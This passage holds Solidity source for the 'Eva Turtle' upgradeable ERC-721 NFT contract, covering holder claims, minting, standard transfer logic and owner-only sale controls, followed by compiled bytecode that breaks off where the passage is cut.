bool private _purchaseEnabled;
// can't depend on a constructor because we have an upgradable proxy, have to initialize instead.
function Initialize(address evaverseAddress) onlyOwner external {
require(!_initialized, "Contract instance has already been initialized");
_tokenName = "Eva Turtle";
_tokenSymbol = "TRTL";
_baseURI = "https://evaverse.com/api/turtle.php?id=";
_evaverseNFT = evaverseAddress;
_maxTokens = 5000;
_initialized = true;
_isPromotionRunning = true;
// Added in v2, so this will never be called. Added for popsterity in case we use this contract for another Pet in the future.
_tokenPrice = 50000000000000000; //0.05 ETH
_purchaseEnabled = true;
}
function IsInitialized() external view returns (bool) {
return _initialized;
}
function IsEvaTokenClaimable(uint256 evaTokenId) external view returns(bool) {
if (!_isPromotionRunning)
return false;
if (evaTokenId < 1 || evaTokenId > EvaverseNFTv2(_evaverseNFT).totalSupply())
return false;
return !_claimedEvaNFTs[evaTokenId];
}
function ClaimPets(uint256[] memory evaTokens) external whenNotPaused {
require(_isPromotionRunning);
require(evaTokens.length <= 30, "Can't claim that many at once, sorry.");
uint claimableTokens = 0;
uint remainingTokens = _maxTokens - _tokenCount;
EvaverseNFTv2 evaContract = EvaverseNFTv2(_evaverseNFT);
for(uint ii = 0; ii < evaTokens.length; ii++) {
uint256 evaTokenId = evaTokens[ii];
if (claimableTokens >= remainingTokens)
break;
require(evaContract.ownerOf(evaTokenId) == _msgSender());
if (!_claimedEvaNFTs[evaTokenId]) {
claimableTokens++;
_claimedEvaNFTs[evaTokenId] = true;
}
}
require(claimableTokens > 0, "Sorry, no tokens Evaverse to claim.");
_batchMint(_msgSender(), claimableTokens);
}
function MintEvaAndPet(address to, uint count) payable external {
MintInernal(to, count);
}
function MintEvaAndPet(uint count) payable external {
MintInernal(_msgSender(), count);
}
function MintInernal(address to, uint count) internal whenNotPaused {
require(_evaverseNFT != address(0));
require(count > 0, "You cant buy 0.");
require(count <= 30, "Can't claim that many at once, sorry.");
EvaverseNFTv2 evaContract = EvaverseNFTv2(_evaverseNFT);
uint256 evaTokenId = evaContract.totalSupply();
evaContract.MintNFT{value:msg.value}(to, count);
if(_isPromotionRunning) {
uint256 endTokenId = evaContract.totalSupply();
if (endTokenId > _maxTokens) {
endTokenId = _maxTokens;
}
if (endTokenId > evaTokenId) {
for(uint id = evaTokenId + 1; id <= endTokenId; id++) {
_claimedEvaNFTs[id] = true;
}
_batchMint(to, endTokenId - evaTokenId);
}
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _tokenName;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _tokenSymbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "URI query for nonexistent token");
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override whenNotPaused {
address owner = EvaTurtleNFTv2.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override whenNotPaused {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override whenNotPaused {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override whenNotPaused {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override whenNotPaused {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = EvaTurtleNFTv2.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _batchMint(address to, uint count) internal {
require(to != address(0), "ERC721: mint to the zero address");
uint256 tokenId = _tokenCount + 1;
uint256 endToken = _tokenCount + count;
require(_checkOnERC721Received(address(0), to, tokenId, ""), "ERC721: transfer to non ERC721Receiver implementer");
for(; tokenId <= endToken; tokenId++) {
_beforeTokenTransfer(address(0), to, tokenId);
_owners[tokenId] = to;
_balances[to]++; // don't try and optimize this to only add once, _beforeTokenTransfer needs this to be updated each time.
}
tokenId = _tokenCount + 1;
_tokenCount += count;
for(; tokenId <= endToken; tokenId++) {
emit Transfer(address(0), to, tokenId);
}
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to) internal virtual {
_tokenCount++;
_mint(to, _tokenCount);
require(
_checkOnERC721Received(address(0), to, _tokenCount, ""),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(EvaTurtleNFTv2.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual whenNotPaused {
_tokenApprovals[tokenId] = to;
emit Approval(EvaTurtleNFTv2.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < EvaTurtleNFTv2.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < EvaTurtleNFTv2.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal {
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = EvaTurtleNFTv2.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = EvaTurtleNFTv2.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
function SetPause(bool pause) external onlyOwner {
if (pause)
_pause();
else
_unpause();
}
function WithdrawBalance(address payTo, uint256 amount) external onlyOwner {
address thisAddr = address(this);
require(thisAddr.balance > 0);
address payable receiver = payable(payTo);
receiver.transfer(amount);
}
function GetBalance() external view onlyOwner returns (uint256) {
return address(this).balance;
}
function SendGiftToWinners(address[] memory winners) external onlyOwner {
require(_tokenCount + winners.length < _maxTokens, "Not enough tokens remaining.");
for(uint ii = 0; ii < winners.length; ii++) {
_safeMint(winners[ii]);
}
}
// Should only be used if all free tokens get claimed and we decide to air drop extra free gifts on the same contract.
function SetMaxTokenCount(uint256 newMaxCount) external onlyOwner {
require(_tokenCount < newMaxCount, "New Maximum Token Count must be greater than the amount of tokens already existing on the contract");
_maxTokens = newMaxCount;
}
function GetMaxTokenCount() external view returns (uint256) {
return _maxTokens;
}
function SetPromotionState(bool enabled) external onlyOwner {
_isPromotionRunning = enabled;
}
function IsPromotionEnabled() external view returns (bool) {
return _isPromotionRunning;
}
function GetEvaContract() external view returns (address) {
return _evaverseNFT;
}
// Not sure if we'll ever use this, but because we're doing a contract upgrade, Damos thought it would be a good idea to have this available to us in case we want to open it up later.
function AdoptTurtle(address to, uint count) payable external whenNotPaused {
require(_purchaseEnabled, "Purchasing is not enabled.");
require(count > 0, "Count must be greater than 0.");
require(count <= 30, "Count can't be that large, sorry.");
require(_tokenCount < _maxTokens, "No tokens left to purchase.");
require(msg.value == count * _tokenPrice, "Amount of ETH is not right.");
// pro-rate any purchase that would have put us over the cap of total NFTs
uint refundCount = 0;
if (_tokenCount + count > _maxTokens) {
refundCount = count - (_maxTokens - _tokenCount);
count = _maxTokens - _tokenCount;
}
// Mint all our NFTs!
_batchMint(to, count);
// Refund any Ether for NFTs that couldn't be minted.
if (refundCount > 0) {
address payable receiver = payable(to);
receiver.transfer(refundCount * _tokenPrice);
}
}
function SetPrice(uint256 newPrice) external onlyOwner {
_tokenPrice = newPrice;
}
function GetPrice() external view returns (uint) {
return _tokenPrice;
}
function SetPurchasable(bool isPurchasable) external onlyOwner {
_purchaseEnabled = isPurchasable;
}
function IsPurchasable() external view returns (bool) {
return _purchaseEnabled;
}
} | 0x60806040526004361061023b5760003560e01c80635563aca01161012e578063a206bf90116100ab578063c87b56dd1161006f578063c87b56dd14610670578063dd1cb56114610690578063e985e9c5146106a5578063f0b1ec47146106ee578063f8f8a9121461070e57600080fd5b8063a206bf90146105d2578063a22cb465146105f2578063b88d4fde14610612578063b8c5c8b514610632578063bfbc99611461065257600080fd5b806370a08231116100f257806370a08231146105545780638da5cb5b1461057457806395975b2a1461059257806395d89b41146105aa5780639effe374146105bf57600080fd5b80635563aca0146104d85780635751cc84146104ed5780635c975abb146105005780636352211e1461051f5780636d90164e1461053f57600080fd5b80632597676e116101bc57806340a26e7b1161018057806340a26e7b1461043b57806342842e0e1461045b57806348e37a4a1461047b5780634f5539c0146104985780634f6ccce7146104b857600080fd5b80632597676e146103b05780632a321e9e146103d05780632f745c59146103e857806336b14535146104085780633a64e63f1461042857600080fd5b8063140eb9f811610203578063140eb9f814610311578063167d3e9c1461033157806318160ddd146103515780631ff7f0dd1461037057806323b872dd1461039057600080fd5b806301ffc9a71461024057806306fdde0314610275578063081812fc146102975780630875ab8e146102cf578063095ea7b3146102f1575b600080fd5b34801561024c57600080fd5b5061026061025b366004612d0c565b610723565b60405190151581526020015b60405180910390f35b34801561028157600080fd5b5061028a610790565b60405161026c9190612e9f565b3480156102a357600080fd5b506102b76102b2366004612d44565b610822565b6040516001600160a01b03909116815260200161026c565b3480156102db57600080fd5b506102ef6102ea366004612b9f565b6108bc565b005b3480156102fd57600080fd5b506102ef61030c366004612b9f565b610940565b34801561031d57600080fd5b506102ef61032c366004612cf2565b610a80565b34801561033d57600080fd5b506102ef61034c3660046129f8565b610ad2565b34801561035d57600080fd5b50600b545b60405190815260200161026c565b34801561037c57600080fd5b5061026061038b366004612d44565b610b92565b34801561039c57600080fd5b506102ef6103ab366004612a6f565b610c63565b3480156103bc57600080fd5b506102ef6103cb366004612cf2565b610cbe565b3480156103dc57600080fd5b5060135460ff16610260565b3480156103f457600080fd5b50610362610403366004612b9f565b610d11565b34801561041457600080fd5b506102ef6104233660046129f8565b610da7565b6102ef610436366004612d44565b610f25565b34801561044757600080fd5b506102ef610456366004612bca565b610f2f565b34801561046757600080fd5b506102ef610476366004612a6f565b611019565b34801561048757600080fd5b50601054610100900460ff16610260565b3480156104a457600080fd5b506102ef6104b3366004612d44565b61105e565b3480156104c457600080fd5b506103626104d3366004612d44565b61109c565b3480156104e457600080fd5b506102b761113d565b6102ef6104fb366004612b9f565b611188565b34801561050c57600080fd5b50600154600160a01b900460ff16610260565b34801561052b57600080fd5b506102b761053a366004612d44565b611192565b34801561054b57600080fd5b50601254610362565b34801561056057600080fd5b5061036261056f3660046129f8565b611209565b34801561058057600080fd5b506000546001600160a01b03166102b7565b34801561059e57600080fd5b5060105460ff16610260565b3480156105b657600080fd5b5061028a611290565b6102ef6105cd366004612b9f565b61129f565b3480156105de57600080fd5b506102ef6105ed366004612cf2565b611512565b3480156105fe57600080fd5b506102ef61060d366004612b6b565b61155e565b34801561061e57600080fd5b506102ef61062d366004612aaf565b61164d565b34801561063e57600080fd5b506102ef61064d366004612d44565b6116af565b34801561065e57600080fd5b50600d546001600160a01b03166102b7565b34801561067c57600080fd5b5061028a61068b366004612d44565b611795565b34801561069c57600080fd5b50600f54610362565b3480156106b157600080fd5b506102606106c0366004612a37565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b3480156106fa57600080fd5b506102ef610709366004612c6b565b61182e565b34801561071a57600080fd5b50610362611a3c565b60006001600160e01b031982166380ac58cd60e01b148061075457506001600160e01b03198216635b5e139f60e01b145b8061076f57506001600160e01b0319821663780e9d6360e01b145b8061078a57506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606002805461079f906130dc565b80601f01602080910402602001604051908101604052809291908181526020018280546107cb906130dc565b80156108185780601f106107ed57610100808354040283529160200191610818565b820191906000526020600020905b8154815290600101906020018083116107fb57829003601f168201915b5050505050905090565b6000818152600560205260408120546001600160a01b03166108a05760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600760205260409020546001600160a01b031690565b336108cf6000546001600160a01b031690565b6001600160a01b0316146108f55760405162461bcd60e51b815260040161089790612f73565b30803161090157600080fd5b60405183906001600160a01b0382169084156108fc029085906000818181858888f19350505050158015610939573d6000803e3d6000fd5b5050505050565b600154600160a01b900460ff161561096a5760405162461bcd60e51b815260040161089790612f49565b600061097582611192565b9050806001600160a01b0316836001600160a01b031614156109e35760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610897565b336001600160a01b03821614806109ff57506109ff81336106c0565b610a715760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610897565b610a7b8383611a7c565b505050565b33610a936000546001600160a01b031690565b6001600160a01b031614610ab95760405162461bcd60e51b815260040161089790612f73565b8015610aca57610ac7611b14565b50565b610ac7611b96565b33610ae56000546001600160a01b031690565b6001600160a01b031614610b0b5760405162461bcd60e51b815260040161089790612f73565b6001600160a01b038116610b705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610897565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b601054600090610100900460ff16610bac57506000919050565b6001821080610c3f5750600d60009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c9190612d5c565b82115b15610c4c57506000919050565b5060009081526011602052604090205460ff161590565b600154600160a01b900460ff1615610c8d5760405162461bcd60e51b815260040161089790612f49565b610c973382611c1a565b610cb35760405162461bcd60e51b815260040161089790612fa8565b610a7b838383611d11565b33610cd16000546001600160a01b031690565b6001600160a01b031614610cf75760405162461bcd60e51b815260040161089790612f73565b601080549115156101000261ff0019909216919091179055565b6000610d1c83611209565b8210610d7e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610897565b506001600160a01b03919091166000908152600960209081526040808320938352929052205490565b33610dba6000546001600160a01b031690565b6001600160a01b031614610de05760405162461bcd60e51b815260040161089790612f73565b60105460ff1615610e4a5760405162461bcd60e51b815260206004820152602e60248201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560448201526d195b881a5b9a5d1a585b1a5e995960921b6064820152608401610897565b60408051808201909152600a8082526945766120547572746c6560b01b6020909201918252610e7b9160029161294a565b50604080518082019091526004808252631514951360e21b6020909201918252610ea79160039161294a565b506040518060600160405280602781526020016131b4602791398051610ed59160049160209091019061294a565b50600d80546001600160a01b0319166001600160a01b0392909216919091179055611388600f556010805461ffff191661010117905566b1a2bc2ec500006012556013805460ff19166001179055565b610ac73382611ebc565b33610f426000546001600160a01b031690565b6001600160a01b031614610f685760405162461bcd60e51b815260040161089790612f73565b600f548151600e54610f7a919061304e565b10610fc75760405162461bcd60e51b815260206004820152601c60248201527f4e6f7420656e6f75676820746f6b656e732072656d61696e696e672e000000006044820152606401610897565b60005b815181101561101557611003828281518110610ff657634e487b7160e01b600052603260045260246000fd5b602002602001015161213c565b8061100d81613117565b915050610fca565b5050565b600154600160a01b900460ff16156110435760405162461bcd60e51b815260040161089790612f49565b610a7b8383836040518060200160405280600081525061164d565b336110716000546001600160a01b031690565b6001600160a01b0316146110975760405162461bcd60e51b815260040161089790612f73565b601255565b60006110a7600b5490565b821061110a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610897565b600b828154811061112b57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000336111526000546001600160a01b031690565b6001600160a01b0316146111785760405162461bcd60e51b815260040161089790612f73565b506001546001600160a01b031690565b6110158282611ebc565b6000818152600560205260408120546001600160a01b03168061078a5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610897565b60006001600160a01b0382166112745760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610897565b506001600160a01b031660009081526006602052604090205490565b60606003805461079f906130dc565b600154600160a01b900460ff16156112c95760405162461bcd60e51b815260040161089790612f49565b60135460ff1661131b5760405162461bcd60e51b815260206004820152601a60248201527f50757263686173696e67206973206e6f7420656e61626c65642e0000000000006044820152606401610897565b6000811161136b5760405162461bcd60e51b815260206004820152601d60248201527f436f756e74206d7573742062652067726561746572207468616e20302e0000006044820152606401610897565b601e8111156113c65760405162461bcd60e51b815260206004820152602160248201527f436f756e742063616e27742062652074686174206c617267652c20736f7272796044820152601760f91b6064820152608401610897565b600f54600e54106114195760405162461bcd60e51b815260206004820152601b60248201527f4e6f20746f6b656e73206c65667420746f2070757263686173652e00000000006044820152606401610897565b601254611426908261307a565b34146114745760405162461bcd60e51b815260206004820152601b60248201527f416d6f756e74206f6620455448206973206e6f742072696768742e00000000006044820152606401610897565b6000600f5482600e54611487919061304e565b11156114bc57600e54600f5461149d9190613099565b6114a79083613099565b9050600e54600f546114b99190613099565b91505b6114c68383612197565b8015610a7b5760125483906001600160a01b038216906108fc906114ea908561307a565b6040518115909202916000818181858888f19350505050158015610939573d6000803e3d6000fd5b336115256000546001600160a01b031690565b6001600160a01b03161461154b5760405162461bcd60e51b815260040161089790612f73565b6013805460ff1916911515919091179055565b600154600160a01b900460ff16156115885760405162461bcd60e51b815260040161089790612f49565b6001600160a01b0382163314156115e15760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610897565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600154600160a01b900460ff16156116775760405162461bcd60e51b815260040161089790612f49565b6116813383611c1a565b61169d5760405162461bcd60e51b815260040161089790612fa8565b6116a984848484612330565b50505050565b336116c26000546001600160a01b031690565b6001600160a01b0316146116e85760405162461bcd60e51b815260040161089790612f73565b80600e54106117905760405162461bcd60e51b815260206004820152606260248201527f4e6577204d6178696d756d20546f6b656e20436f756e74206d7573742062652060448201527f67726561746572207468616e2074686520616d6f756e74206f6620746f6b656e60648201527f7320616c7265616479206578697374696e67206f6e2074686520636f6e74726160848201526118dd60f21b60a482015260c401610897565b600f55565b6000818152600560205260409020546060906001600160a01b03166117fc5760405162461bcd60e51b815260206004820152601f60248201527f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e006044820152606401610897565b600461180783612363565b604051602001611818929190612dbc565b6040516020818303038152906040529050919050565b600154600160a01b900460ff16156118585760405162461bcd60e51b815260040161089790612f49565b601054610100900460ff1661186c57600080fd5b601e8151111561188e5760405162461bcd60e51b815260040161089790612eb2565b600080600e54600f546118a19190613099565b600d549091506001600160a01b031660005b84518110156119d55760008582815181106118de57634e487b7160e01b600052603260045260246000fd5b602002602001015190508385106118f557506119d5565b336040516331a9108f60e11b8152600481018390526001600160a01b0391821691851690636352211e9060240160206040518083038186803b15801561193a57600080fd5b505afa15801561194e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119729190612a1b565b6001600160a01b03161461198557600080fd5b60008181526011602052604090205460ff166119c257846119a581613117565b6000838152601160205260409020805460ff191660011790559550505b50806119cd81613117565b9150506118b3565b5060008311611a325760405162461bcd60e51b815260206004820152602360248201527f536f7272792c206e6f20746f6b656e7320457661766572736520746f20636c6160448201526234b69760e91b6064820152608401610897565b6116a93384612197565b600033611a516000546001600160a01b031690565b6001600160a01b031614611a775760405162461bcd60e51b815260040161089790612f73565b504790565b600154600160a01b900460ff1615611aa65760405162461bcd60e51b815260040161089790612f49565b600081815260076020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611adb82611192565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600154600160a01b900460ff1615611b3e5760405162461bcd60e51b815260040161089790612f49565b6001805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611b793390565b6040516001600160a01b03909116815260200160405180910390a1565b600154600160a01b900460ff16611be65760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610897565b6001805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33611b79565b6000818152600560205260408120546001600160a01b0316611c935760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610897565b6000611c9e83611192565b9050806001600160a01b0316846001600160a01b03161480611cd95750836001600160a01b0316611cce84610822565b6001600160a01b0316145b80611d0957506001600160a01b0380821660009081526008602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611d2482611192565b6001600160a01b031614611d8c5760405162461bcd60e51b8152602060048201526029602